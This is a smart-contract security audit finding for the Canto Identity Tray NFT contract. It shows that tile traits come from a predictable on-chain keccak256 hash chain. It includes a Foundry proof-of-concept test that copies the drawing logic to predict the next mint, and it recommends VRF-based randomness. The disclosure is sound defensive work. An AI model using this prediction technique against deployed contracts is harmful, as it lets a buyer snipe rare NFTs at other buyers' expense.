# Pseudo-random can be anticipated by Tray buyer 

## Impact

The Tray contract uses a pseudo-random algorithm to generate the tile data when a user buys and mints a new NFT. This is first defined by a seed which is the keccak256 hash of the last seed used:

https://github.com/code-423n4/2023-03-canto-identity/blob/main/canto-namespace-protocol/src/Tray.sol#L162-L163

```solidity
lastHash = keccak256(abi.encode(lastHash));
trayTiledata[j] = _drawing(uint256(lastHash));
```

The `_drawing` function uses this seed to generate a random value by calling the `Utils.iteratePRNG` function. This random value is then used to calculate the tile data based on range of 0 to `SUM_ODDS` values:

https://github.com/code-423n4/2023-03-canto-identity/blob/main/canto-namespace-protocol/src/Tray.sol#L245-L273

```solidity
function _drawing(uint256 _seed) private pure returns (TileData memory tileData) {
    uint256 res = _seed % SUM_ODDS;
    uint256 charRandValue = Utils.iteratePRNG(_seed); // Iterate PRNG to not have any biasedness / correlation between random numbers
    if (res < 32) {
        // Class is 0 in that case
        tileData.characterIndex = uint16(charRandValue % NUM_CHARS_EMOJIS);
    } else {
        tileData.characterIndex = uint16(charRandValue % NUM_CHARS_LETTERS);
        if (res < 64) {
            tileData.fontClass = 1;
            tileData.characterIndex = uint16(charRandValue % NUM_CHARS_LETTERS_NUMBERS);
        } else if (res < 80) {
            tileData.fontClass = 2;
        } else if (res < 96) {
            tileData.fontClass = 3 + uint8((res - 80) / 8);
        } else if (res < 104) {
            tileData.fontClass = 5 + uint8((res - 96) / 4);
        } else if (res < 108) {
            tileData.fontClass = 7 + uint8((res - 104) / 2);
            if (tileData.fontClass == 7) {
                // Set seed for Zalgo to ensure same characters will be always generated for this tile
                uint256 zalgoSeed = Utils.iteratePRNG(_seed);
                tileData.characterModifier = uint8(zalgoSeed % 256);
            }
        } else {
            tileData.fontClass = 9;
        }
    }
}
```

As this data is stored completely on-chain, any user can anticipate what tiles they will get when buying a Tray NFT:

1. Get the current value of `lastHash`.
2. Apply the keccak256 function to `lastHash` to get the next seed.
3. Replicate the logic present in the `_drawing` to calculate beforehand what NFT they will get.

While others mint NFTs, the buyer can then wait until the conditions are in place to mint the NFT they desire or mint a rare or more valuable NFT.

Note that this also allows the buyer to anticipate the data of any number of tiles, not just the next one. If the proximity is enough to justify the costs, the buyer can also buy NFTs in bulk (the Tray contract is an ERC721A) to ensure the NFT they want.

## Proof of Concept

In this test we show how a buyer can easily anticipate the data for the next tile to be minted.

Note: the snippet shows only the relevant code for the test. Full test file can be found [here](https://gist.github.com/romeroadrian/c21a46f5d6d269643313143131e96ee2).

```solidity
function test_Tray_buy_AnticipateNFTData() public {
    tray.endPrelaunchPhase();

    vm.startPrank(buyer);

    bytes32 currentHash = tray.lastHash();
    bytes32 nextHash = keccak256(abi.encode(currentHash));
    Tray.TileData memory predictedTileData = simulateDrawing(uint256(nextHash));

    tray.buy(1);

    Tray.TileData memory tileData = tray.getTile(1, 0);

    assertEq(tileData.fontClass, predictedTileData.fontClass);
    assertEq(tileData.characterIndex, predictedTileData.characterIndex);
    assertEq(tileData.characterModifier, predictedTileData.characterModifier);

    vm.stopPrank();
}

function simulateDrawing(uint256 _seed) internal pure returns (Tray.TileData memory tileData) {
    uint256 res = _seed % SUM_ODDS;
    uint256 charRandValue = Utils.iteratePRNG(_seed); // Iterate PRNG to not have any biasedness / correlation between random numbers
    if (res < 32) {
        // Class is 0 in that case
        tileData.characterIndex = uint16(charRandValue % NUM_CHARS_EMOJIS);
    } else {
        tileData.characterIndex = uint16(charRandValue % NUM_CHARS_LETTERS);
        if (res < 64) {
            tileData.fontClass = 1;
            tileData.characterIndex = uint16(charRandValue % NUM_CHARS_LETTERS_NUMBERS);
        } else if (res < 80) {
            tileData.fontClass = 2;
        } else if (res < 96) {
            tileData.fontClass = 3 + uint8((res - 80) / 8);
        } else if (res < 104) {
            tileData.fontClass = 5 + uint8((res - 96) / 4);
        } else if (res < 108) {
            tileData.fontClass = 7 + uint8((res - 104) / 2);
            if (tileData.fontClass == 7) {
                // Set seed for Zalgo to ensure same characters will be always generated for this tile
                uint256 zalgoSeed = Utils.iteratePRNG(_seed);
                tileData.characterModifier = uint8(zalgoSeed % 256);
            }
        } else {
            tileData.fontClass = 9;
        }
    }
}
```

## Recommendation

The Tray contract shouldn't rely on a pseudo-random algorithm to generate tile data as this can be easily calculated beforehand. Consider using a VRF or an external oracle that provides stronger random guarantees.
